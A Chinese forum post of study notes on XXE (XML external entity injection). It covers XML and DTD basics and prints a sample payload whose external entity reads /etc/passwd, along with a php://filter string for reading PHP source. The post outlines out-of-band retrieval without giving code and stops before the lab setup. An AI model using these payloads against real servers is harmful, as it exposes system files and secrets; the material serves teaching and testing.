XXE漏洞学习

打印 上一主题 下一主题

主题 793|帖子 793|积分 2379

0x00 XXE漏洞介绍:
背景:2018-7-4 微信支付SDK漏洞(XXE漏洞),攻击者可以获取服务器中目录结构,文件内容,eg:代码,各种私钥。敏感数据泄露



0x01什么是xxe漏洞:
XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞.
XML Extwrnal Entity,也就是XML外部实体注入攻击

  • 漏洞存在于XML中
  • 外部 漏洞的条件   实体通过SYStem加载外部资源 DTD也可以通过外部应用
  • ENtity 实体 :漏洞的具体位置   变量
外部引用必须被XML解释器解析才能加载

漏洞的利用过程和SSRF非常类似。漏洞的危害与ssrf几乎一致。
什么是XML?

  • 可扩展标记语言:标记数据,定义数据类型
  • 一种标记语言,类似于HTML(由标签组成)
  • 宗旨是传输数据,而非显示数据。html被设计用来显示数据
  • 标签没有被定义,需要自行定义标签
  • 被设计为具有自我描述性
  • 是W3c的推荐标准
区别:
1.XML可自定义标签
2.XML存储或传输数据
3,XML区分大小写
4.XML标签嵌套闭合比较严谨
5.必须要有根元素,如 (最外面的)
6.实体字符 类似于xss eg:由&lt 和 &gt表示
HTML目的是为了显示数据
元素代表标签:



第一行:定义note元素,定义了里面有to,from,heading,body这四个元素

ENtity 实体定义:在DTD下面 (实体就是个变量)
定义了一个实体叫free ,free里面存了个nice,类似于变量的作用
调用变量:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE note [
  3. <!ELEMENT note (to,from,heading,body)>
  4. <!ELEMENT to (#PCDATA)>
  5. <!ELEMENT from (#PCDATA)>
  6. <!ELEMENT heading (#PCDATA)>
  7. <!ELEMENT body (#PCDATA)>
  8. <!ENTITY free "nice"> //内部实体
  9. ]>
  10. <note>
  11. <to>Tove</to>
  12. <from>Jani</from>
  13. <heading>Reminder</heading>
  14. <body>owen is &free;</body>
  15. </note>
复制代码
调用结果显示如下:

外部实体需要通过system引用
eg:  //通过file协议
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE note [
  3. <!ELEMENT note (to,from,heading,body)>
  4. <!ELEMENT to (#PCDATA)>
  5. <!ELEMENT from (#PCDATA)>
  6. <!ELEMENT heading (#PCDATA)>
  7. <!ELEMENT body (#PCDATA)>
  8. <!ENTITY free SYSTEM"file:///etc/passwd">
  9. ]>
  10. <note>
  11. <to>Tove</to>
  12. <from>Jani</from>
  13. <heading>Reminder</heading>
  14. <body>owen is &free;</body>
  15. </note>
复制代码
DTD通过外部引用的方法:(逻辑)
  1. [/code]将上述代码写入free.dtd文件中
  2. [code]<?xml version="1.0" encoding="UTF-8"?>
  3. <!DOCTYPE note SYSTEM "free.dtd"> //这里通过system来对free.dtd文件进行加载
  4. <note>
  5. <to>Tove</to>
  6. <from>Jani</from>
  7. <heading>Reminder</heading>
  8. <body>owen is &free;</body>
  9. </note>
复制代码
导致文件读取,泄露服务器上的敏感数据 (前提条件是:XML文档能够被解析)
接下来的代码将展示XML文件如何被解析:
xxe.php文件:

[code][/code]如何读取php文件:
php://filiter/read=convert.base64-encode/resource=xxe.php
当没有print_r($data);的情况下,即无回显,该如何解决呢?
解决方法:
1.获取数据,把数据内容保存到变量中 外部实体
2.获取前面取到的数据 (带外)oob
实验环境搭建:

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

花瓣小跑

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表